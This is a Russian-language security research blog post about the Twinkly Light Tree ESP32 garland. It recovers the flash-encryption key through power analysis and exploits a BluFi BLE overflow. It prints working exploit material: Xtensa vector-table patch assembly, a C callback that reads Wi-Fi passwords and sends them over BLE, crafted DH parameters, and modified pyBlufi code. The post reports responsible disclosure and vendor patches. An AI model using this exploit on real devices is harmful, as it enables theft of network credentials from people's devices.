Раз, два, три — елочка, гори!

  • #PositiveLabs

Новый год у многих ассоциируется с яркими украшениями, фейерверками и, конечно, новогодней елью — какой же праздник без огоньков? В наш век smart-устройств умными стали и гирлянды: через Wi-Fi можно задать шаблон мигания светодиодов и даже загрузить свое видео. Но насколько безопасны такие украшения? Чтобы ответить на этот вопрос, мы исследовали Twinkly Light Tree.

А что, собственно, внутри?

Как становится понятно из названия, это не просто гирлянда, а целая светящаяся ель, состоящая из каркаса, светодиодных рядов и блока управления. Последний подключается к Wi-Fi, также там есть кнопка для выполнения начальной конфигурации (через Bluetooth).

IMG_0846.jpg
Рисунок 1. Блок управления Twinkly Light Tree

Внутри корпуса блока управления находятся кнопка, трехцветный светодиод и модуль ESP32-WROOM.

IMG_0854.JPG
Рисунок 2. Печатная плата блока управления Twinkly

Справа на плате (см. рис. 2). можно заметить набор контактов, подозрительно похожих на отладочные. Здесь установлен стандартный модуль ESP32, поэтому назначение контактов легко определяется (см рис. 3).

debug.jpg
Рисунок 3. Назначение отладочных выводов платы управления Twinkly

Эти контакты предназначены для первоначальной прошивки модуля ESP32. Если производитель не заблокировал интерфейс, их также можно использовать для считывания содержимого флеш-памяти и e-Fuses. Для этого существует удобный официальный инструмент esptool (см. рис. 4).

esptool.png
Рисунок 4. Считывание содержимого ПЗУ через утилиту esptool

Чтение e-Fuses выполняем схожим образом, но уже через утилиту espefuse (см. рис. 5).

espefuse.png
Рисунок 5. Считывание e-fuses через утилиту esefuse

Нам интересны следующие e-Fuses:

  • FLASH_CRYPT_CNT        = 127 (0b1111111)
  • JTAG_DISABLE                    = True (0b1)
  • DISABLE_DL_DECRYPT     = True (0b1)
  • ABS_DONE_0            = True (0b1)
  • ABS_DONE_1             = False (0b0)

Остановимся на каждом подробнее:

  • Нечетное значение FLASH_CRYPT_CNT говорит о том, что на микроконтроллере активен Flash Encryption. Значит, код в полученном дампе флешки зашифрован и просто так исследовать его не получится.
  • Активные JTAG_DISABLE и DISABLE_DL_DECRPYT означают, что отладка заблокирована и средствами самого контроллера расшифровать данные не выйдет.
  • Наконец, ABS_DONE_0 и ABS_DONE_1 показывают, что включен Secure Boot v1, поэтому запускать свой код запрещено (даже при наличии ключа шифрования флешки).

Вердикт: перед нами релизный вариант конфигурации, включена максимальная защита.

Differential Power Analysis

Воспользуемся самым простым методом получения прошивки из контроллера ESP32-D0WD-v3 — Differential Power Analysis (DPA). Суть в том, что по потреблению питания микроконтроллера можно косвенно вычислить значения, которыми он оперирует в регистрах. Например, в сигнале, полученном с линии питания микросхемы, можно отчетливо определить состояния некоторой внутренней линии.

power_analysis.png
Рисунок 6. Каждый прирост потребления соответствует логической единице протокола передачи

В случае с ESP32 можно «подслушать» процесс шифрования AES. Отмечу, что преобразования здесь выполняются над 128-битным значением состояния, а каждый этап шифрования происходит одномоментно, поэтому отдельные биты (как в примере на рис. 6) увидеть не получится. Соответственно, для вычисления значения ключа нужно использовать метод Correlation Power Analysis (CPA): выполняем десятки тысяч измерений с разными данными на входе, сравниваем с поведением предполагаемой модели и побайтно подбираем подходящий ключ.

В качестве устройства чтения возьмем улучшенную нами версию широко известного в узких кругах проекта ESP-CPA за авторством Kévin Courdesses.

vespa_pcb.jpg
Рисунок 7. ESP-CPA с подключенным анализируемым чипом 

Этот девайс одновременно эмулирует SPI-флешку и выполняет замеры питания в момент расшифровки блока данных. То есть эмулятор каждый раз посылает новый случайный блок данных и сохраняет замеры линии питания в момент расшифровки блока в файл.

Рисунок 8. Записанный график потребления питания (меньшее значение соответствует большему току)

Результат анализа корреляции выглядит как 16 графиков (по одному на байт раунд-ключа) с 256 линиями (по одной на каждый вариант байта). Та линия, что сильно выделяется на фоне других, — верно угаданное значение.

Рисунок 9. Анализ корреляции для блока 0x1000 раунда 0

Из графиков получаем ключ 8aef836729ebf14d4f17a88cdb2d69ce. С его помощью повторяем анализ уже для раунда 1 (поскольку в ESP32 применяется AES-256 и ключа только от первого раунда недостаточно).

Рисунок 10. Анализ корреляции для блока 0x1000 раунда 1

Таким образом получаем вторую половину ключа — 397f9cb7d00dd312d45fc7f1884661a8. Но и это еще не все! 

В ESP32 ключ модифицируется в зависимости от смещения, поэтому путем анализа питания мы получили ключ уже после модификации (для смещения 0x1000). За то, как именно модифицируется ключ, отвечает e-Fuse FLASH_CRYPT_CONFIG (по умолчанию выставляется в максимальные 0xF). Алгоритм можно взять из официальной утилиты espsecure:

def _flash_encryption_tweak_key(key, offset, tweak_range):

addr = offset >> 5

key ^= ((mul1 * addr) | ((mul2 * addr) & mul2_mask)) & tweak_range

return int.to_bytes(key, length=32, byteorder="big", signed=False)

Алгоритм симметричный, поэтому его применение к полученному ключу обращает модификации. В результате получаем исходный ключ шифрования:

8A FF 83 65 29 EB B1 5D 4F 15 A8 8C 9B 2D 61 C6

39 7E 9C B7 F0 0D D7 12 D4 5D C7 F1 C8 46 69 A8

Важный момент: ключ уникален для каждого устройства, так что если вам нужно расшифровать другой девайс (пусть даже той же модели и с такой же прошивкой), все придется проделывать заново ;)

Краткий обзор прошивки

У считанного дампа стандартный вид для проектов на основе ESP32: загрузчик, два OTA-слота, прошивка на базе FreeRTOS и шифрованный Non-Volatile Storage с отдельно сохраненным ключом. Нестандартными можно назвать только разделы с заводской конфигурацией и огромный раздел movie для хранения пользовательского видеоролика.

СмещениеРазмерНазначение
0x00000xC0Подпись для Secure boot
0x10000x5700Bootloader
0x80000x1000Таблица разделов
0x90000x4000NVS (Non-Volatile Storage), зашифровано keys
0xD0000x20otadata, информация о текущем используемом слоте прошивки
0x100000x200000ota_1, слот прошивки № 1
0x2100000x200000ota_2, слот прошивки № 2
0x4100000x4000settings
0x4140000x4000data, информация об устройстве
0x4180000x3e0000movie
0x7FF0000x1000keys, ключи шифрования для NVS
Таблица 1. Структура образа ESP32

Неожиданностью стал включенный Stack Smash Protection: в начале каждой функции на верхушку стека записывалось случайное значение, а в конце проверялось, не изменилось ли оно.

Рисунок 11. Одна из самых маленьких функций, где используется Stack Smash Protection

В прошивке мы обнаружили многочисленные обработчики HTTP-протокола. Это неудивительно, ведь основной способ взаимодействия с устройством — по Wi-Fi через HTTP-запросы вида GET /xled/v1/…. При этом девайс подключается к существующей Wi-Fi-сети либо сам раздает ее. Помимо HTTP, имеется возможность удаленного управления по протоколу MQTT (в том числе есть поддержка Apple Homekit).

В онлайн-источниках есть много информации о протоколе этих гирлянд, в том числе готовые проекты на Python. С их помощью можно управлять девайсом, причем если вы уже в Wi-Fi-сети, никакого логина не требуется — даже знать IP-адрес не обязательно. Все гирлянды дружно отвечают на широковещательный UDP-запрос.

Уязвимости!

Конечно, полный доступ к управлению устройством из локальной сети не так интересен (для этого нужен пароль от Wi-Fi), как удаленный запуск своего кода на самом устройстве. Чтобы решить эту задачу, немного поковыряемся в прошивке и найдем интересную библиотеку blufi (см. рис. 12).

Рисунок 12. Так-так, что тут у нас?

По сути, перед нами пример от разработчика SDK, как можно выполнить начальную настройку по Bluetooth LE (задать пароль для Wi-Fi). Интересна blufi тем, что около года назад в ней находили критические уязвимости, в том числе возможность записи произвольных данных по конкретному адресу (см. рис. 13).

Рисунок 13. Уязвимость в механизме установления защищенного канала

Если кратко, протокол формирования секретного ключа принимает почти все параметры от клиента, при этом можно передать ключ размером до 8192 бит (хотя в коде библиотеки место предусмотрено только для 1024 бит). В результате получаем возможность перезаписи указателя на буфер и размера данных. А следующим запросом эти данные можно записать куда угодно. Самое странное, что разработчик микроконтроллера (Espressif Systems) не признал уязвимость и отказался создавать CVE:

  • January 23, 2025 — Espressif publishes first round of patches to GitHub, informs NCC Group they do not consider the bugs to be security vulnerabilities and are therefore ineligible for the bug bounty program

Возможно, как раз из-за этого баг до сих пор присутствует в последней прошивке гирлянды. (UPDATE: после нашего отчета, Espressif признали серьезность проблемы и выпустили CVE-2025-55297.)

Чтобы наглядно показать проблему с безопасностью, рассмотрим правдоподобный сценарий. Злоумышленник видит гирлянду в холле компании, подходит к ней, нажимает кнопку конфигурации и через уязвимость получает пароль от корпоративной сети Wi-Fi, к которой подключено устройство. Для реализации такой атаки нужно разработать небольшой эксплойт, который будет считывать пароль от Wi-Fi через конфигурационный интерфейс BLE. Воспользуемся проектом pyBlufi, который как раз реализует этот протокол конфигурации.

Во-первых. Ищем, что бы такого в прошивке перезаписать, чтобы система не выдала ошибку и при этом у нас получилось исполнить произвольный код. Если со второй частью все довольно просто (достаточно перезаписать код в ОЗУ или глобальный callback), то с первой есть нюансы.

Буфер, адрес которого перезаписывается уязвимостью, используется однократно, после чего освобождается. А значит, нам нужно: 

  1. Предотвратить падение при освобождении буфера, поскольку он не принадлежит куче.
  2. Не допустить падения системы при использовании буфера (адреса области кода генерируют исключение при побайтном доступе).

Чтобы выполнить все условия, мы придумали следующий трюк:

  • В качестве целевого адреса для payload указываем таблицу векторов Xtensa. В ней есть функция WindowOverflow8, которая вызывается, когда уровень вложенности вызова функций достигает предела и нужно выгрузить регистры в стек (это происходит довольно часто).
  • Сразу после перезаписи vector table (до использования буфера) в пропатченной WindowOverflow8 вызовется наш код, который исправит все что нужно, чтобы система не упала.

Во-вторых. Составляем код payload, который будет патчить систему, подменять методы в таблице и т. д. Работаем на ассемблере, потому что в таблице векторов не так много места и нужно аккуратно жонглировать регистрами.

.org 0x18

blufi_sec_ptr: .word 0x3FFCD568 ; указатель на структуру blufi_sec

ovrw_buf_ptr: .word 0x40080010 ; значение буфера после перезаписи

event_callback: .word 0x3FFC2BD4 ; адрес обработчика события bluFi

event_callback2: .word 0x3FFC0CAC ; адрес обработчика события bluFi

new_callback: .word 0x40080360 ; новый адрес обработчика bluFi

.org    0x80

_WindowOverflow8:

   s32e    a0, a9, -16

   l32e    a0, a1, -12

   s32e    a1, a9, -12

   s32e    a2, a9, -8

   s32e    a3, a9, -4

   l32r    a0, blufi_sec_ptr ; не делать ничего, если буфер не перезаписан

   l32i.n a0, a0, 0

   beqz.n a0, finish_ovfl

   l32i    a1, a0, 0x114

   l32r    a2, ovrw_buf_ptr

   bne    a1, a2, finish_ovfl

   movi.n a2, 0

   s32i    a2, a0, 0x114 ; очистить указатель на буфер (чтобы не упал free)

   s32i    a2, a0, 0x118 ; занулить размер (чтобы не упал read_params)

   l32r    a0, event_callback

   l32r    a1, new_callback

   s32i.n a1, a0, 0 ; заменить обработчики BluFi

   l32r a0, event_callback2

   s32i.n a1, a0, 0

finish_ovfl:

   j    finish_ovfl2

.org    0xE0

finish_ovfl2:

   l32e    a1, a9, -12

   l32e    a2, a9, -8

   l32e    a0, a1, -12

   s32e    a4, a0, -32

   s32e    a5, a0, -28

   s32e    a6, a0, -24

   s32e    a7, a0, -20

   rfwo

Помимо исправления повреждений в коде, задаем новый обработчик BLE команд blufi: он поможет нам сделать что-то интересное и вытащить секретную информацию из устройства.

void callback(esp_blufi_cb_event_t event, char * param)

{

if (event != ESP_BLUFI_EVENT_GET_WIFI_STATUS) // подменяемая команда

{

blufi_cb * def_callback = (blufi_cb*)(0x4012CA48);

return def_callback(event, param);

}

ewgc_f * esp_wifi_get_config = (ewgc_f*)(0x400D4ECC);

char * data = calloc(1, 0x200); // аллоцировать буфер

esp_wifi_get_config(WIFI_IF_STA data); // конфиг “раздачи” WiFi

esp_wifi_get_config(WIFI_IF_AP, data + 0x60); // конфиг клиента WiFi

ebsc_f * esp_blufi_send_custom_data = (ebsc_f*)0x40178734;

esp_blufi_send_custom_data(data, 0xc0); // отправить пароли по BLE

free(data);

}

Скомпилированный обработчик записывается в ту же таблицу векторов Xtensa по смещению 0x350. Там как раз есть довольно большой неиспользуемый промежуток.

В-третьих. Подготавливаем ключевую информацию согласно описанию PoC из отчета NCC Group. Структура blufi_security, которая перезатирается в процессе эксплуатации, выглядит следующим образом:

struct blufi_security {

#define DH_SELF_PUB_KEY_LEN 128

uint8_t self_public_key[DH_SELF_PUB_KEY_LEN];

#define SHARE_KEY_LEN 128

uint8_t share_key[SHARE_KEY_LEN];

size_t share_len;

#define PSK_LEN 16

uint8_t psk[PSK_LEN];

uint8_t *dh_param;

int dh_param_len;

uint8_t iv[16];

mbedtls_dhm_context dhm;

mbedtls_aes_context aes;

};

Из реверса прошивки видно, что ключ (psk) формируется по смещению 0x80, указатель (dh_param) расположен по смещению 0x114, а размер буфера (dh_param_len) — по смещению 0x118. Значит, нужен некоторый padding в 0x94 байта, затем четыре байта адреса, по которому будет загружен payload, и два байта размера:

DH_G = 0

for i in range(0x94):

DH_G = (DH_G << 8) 0x33 # 0x33333333...33

# prepare rewrite of 0x40080010 with size of 0x3F0

DH_G = (DH_G << 48) | (0x10000840 << 16) | (0xF003)

# make DH_G mod 3 == 1

while DH_G % 3 != 1:

DH_G += 0x1000000000000

# modulus = G*3

DH_P = hex(DH_G * 3)

Осталось соединить все наработки в pyBlufi-коде и послать запрос:

async def postNegotiateSecurity(self):

type = getTypeValue(DATA.PACKAGE_VALUE, DATA.SUBTYPE_NEG)

pBytes = self.crypto.getPBytes()

gBytes = self.crypto.getGBytes()

kBytes = self.crypto.getYBytes()

pgkLength = len(pBytes) + len(gBytes) + len(kBytes) + 6

pgkLen1 = (pgkLength >> 8) & 0xff

pgkLen2 = pgkLength & 0xff

# send initial key data length

txBuf = io.BytesIO()

txBuf.write(bytes([NEG_SECURITY_SET_TOTAL_LENGTH]))

txBuf.write(bytes([pgkLen1]))

txBuf.write(bytes([pgkLen2]))

await self.post(False, False, self.mRequireAck, type, txBuf.getvalue())

await asyncio.sleep(0.1)

txBuf.seek(0)

txBuf.truncate()

# send key data and rewrite buffer pointer / length

txBuf.write(bytes([NEG_SECURITY_SET_ALL_DATA]))

pLength = len(pBytes)

print(hex(pLength))

pLen1 = (pLength >> 8) & 0xff

pLen2 = pLength & 0xff

txBuf.write(bytes([pLen1]))

txBuf.write(bytes([pLen2]))

txBuf.write(pBytes)

gLength = len(gBytes)

print(hex(pLength))

gLen1 = (gLength >> 8) & 0xff

gLen2 = gLength & 0xff

txBuf.write(bytes([gLen1]))

txBuf.write(bytes([gLen2]))

txBuf.write(gBytes)

kLength = len(kBytes)

print(hex(pLength))

kLen1 = (kLength >> 8) & 0xff

kLen2 = kLength & 0xff

txBuf.write(bytes([kLen1]))

txBuf.write(bytes([kLen2]))

txBuf.write(kBytes)

await self.post(False, False, self.mRequireAck, type, txBuf.getvalue())

await asyncio.sleep(0.1)

txBuf.seek(0)

txBuf.truncate()

# send payload and overwrite the xtensa vector table

txBuf.write(bytes([NEG_SECURITY_SET_ALL_DATA]))

txBuf.write(open("payload.bin", "rb").read()[0x10:])

await self.post(False, False, self.mRequireAck, type, txBuf.getvalue())

Теперь на запрос GET_WIFI_STATUS мы получаем пароли от Wi-Fi:

54 65 73 74 50 6F 69 6E 74 31 00 00 00 00 00 00 TestPoint1......

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

71 77 65 66 67 68 31 32 33 00 00 00 00 00 00 00 qwefgh123.......

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

54 77 69 6E 6B 6C 79 5F 35 44 42 37 46 39 00 00 Twinkly_5DB7F9..

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

54 77 69 6E 6B 6C 79 32 30 31 39 00 00 00 00 00 Twinkly2019.....

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

***

Мы живем в мире, где даже самые простые устройства могут нести угрозы безопасности. Например, злоумышленник может превратить ваш девайс в майнер или часть DDoS-ботнета. В нашем случае атакующему нужен физический доступ к устройству, но бывают и уязвимости, которые можно спокойно эксплуатировать удаленно. Поэтому важно ответственно подходить к созданию системы умного дома и соблюдать базовые правила цифровой гигиены. Приобретайте продукты проверенных брендов, регулярно обновляйте прошивки и используйте отдельную сеть для умных устройств.

А наша новогодняя история закончилась хорошо. Мы передали информацию об уязвимости разработчикам Twinkly Light Tree, и они выпустили обновления для своих продуктов!

Мы дěлаем Positive Research → для ИБ-экспертов, бизнеса и всех, кто интересуется ✽ {кибербезопасностью}